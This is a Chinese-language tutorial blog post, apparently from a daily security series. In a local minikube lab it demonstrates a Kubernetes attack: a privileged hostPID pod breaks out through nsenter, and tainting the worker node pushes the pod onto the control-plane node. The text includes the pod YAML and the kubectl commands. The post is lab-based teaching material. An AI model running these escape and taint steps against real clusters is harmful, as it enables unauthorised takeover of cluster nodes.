汙點橫移手法算是一種 K8s 獨有的橫向移動攻擊手法,觀念還蠻簡單、有趣的,一樣在攻擊前先看手法跟位置。參考 从攻击者视角聊聊K8S集群安全 - 上 一圖,並沒有該攻擊手法的對應位置。
另外依據微軟的 Threat-Matrix-for-Kubernetes,該手法隸屬資料如下 :
原本以為 minikube 無法多開多個 node,但後來發現其實可以。參考 Using Multi-Node Clusters 會發現其實從 minikube 1.10.1 開始就支援這個功能,接著我們就來建立看看環境,也就是說整體的架構產生變化如下。
單一節點架構
多節點架構
# 這步會清空 K8s 叢集,並指定開啟 2 個節點
minikube delete && minikube start --nodes 2 ;
# 這邊會看到兩個 node,1個是 control-plane,也就是 master node
kubectl get nodes ;
# 觀察這些 node 的 label
kubectl get nodes --show-labels ;
#建立一個 pod 看看
kubectl run test-pod --image aeifkz/my-ubuntu:v1.0 ;
# 透過 ssh 連到 k8s node,不指定的話預設連到 control-plane
# minikube ssh -n [node_name] ;
minikube ssh -n minikube ;
docker ps | grep test-pod ;
exit ;
minikube ssh -n minikube-m02 ;
# 這邊會發現 Pod 內的容器是新增到 worker node 裡面
docker ps | grep test-pod ;
exit ;
apiVersion: v1
kind: Pod
metadata:
name: target-pod
spec:
hostPID: true
containers:
- name: target-pod
image: aeifkz/my-ubuntu:v1.0
securityContext:
privileged: true
#請自行命名並且套用
kubectl create -f [上面的檔案名稱] ;
kubectl exec -it target-pod -- bash ;
# 逃逸出現 minikube-m02
nsenter -m -u -i -n -p -t 1 bash ;
# 跳離 nsenter
exit ;
# 跳離 kubectl exec
exit ;
# 清空pod資源
kubectl delete -f [上面的檔案名稱] ;
看到主機名稱 minikube-m02 就可以知道目前逃逸的位置是在 worker nodes,所以目前只掌握了該 worker node 底下全部的容器。但實際上掌控生殺大權的地方是在 master node,因此要想辦法移動過去。
參考 Taints and Tolerations 得知有個機制叫 taint 是設計用來讓 pod 不要被分派到某個 worker node。也就是說如果我們有權限幫 worker node 貼上標籤,然後撕掉 master node 的標籤,那就有辦法讓這個特權容器轉移建立在 master node,接著進行容器逃逸就可以掌握 master node 的控制權。這個攻擊手法目前好像沒看到名字,這邊就命名為汙點橫移手法。
#兩個目前都沒設定 taints,正常來說 master node 應該要設定 NoSchedule 才對
kubectl get nodes -o json | jq '.items[].spec.taints' ;
# 替 worker node 新增 NoSchedule
kubectl taint nodes minikube-m02 node-role.kubernetes.io/control-plane:NoSchedule ;
#請自行命名並且套用
kubectl create -f [上面的檔案名稱] ;
kubectl exec -it target-pod -- bash ;
# 出現 minikube,代表透過汙點橫移手法跑到 master node
nsenter -m -u -i -n -p -t 1 bash ;
本日回顧 :
次日預告 :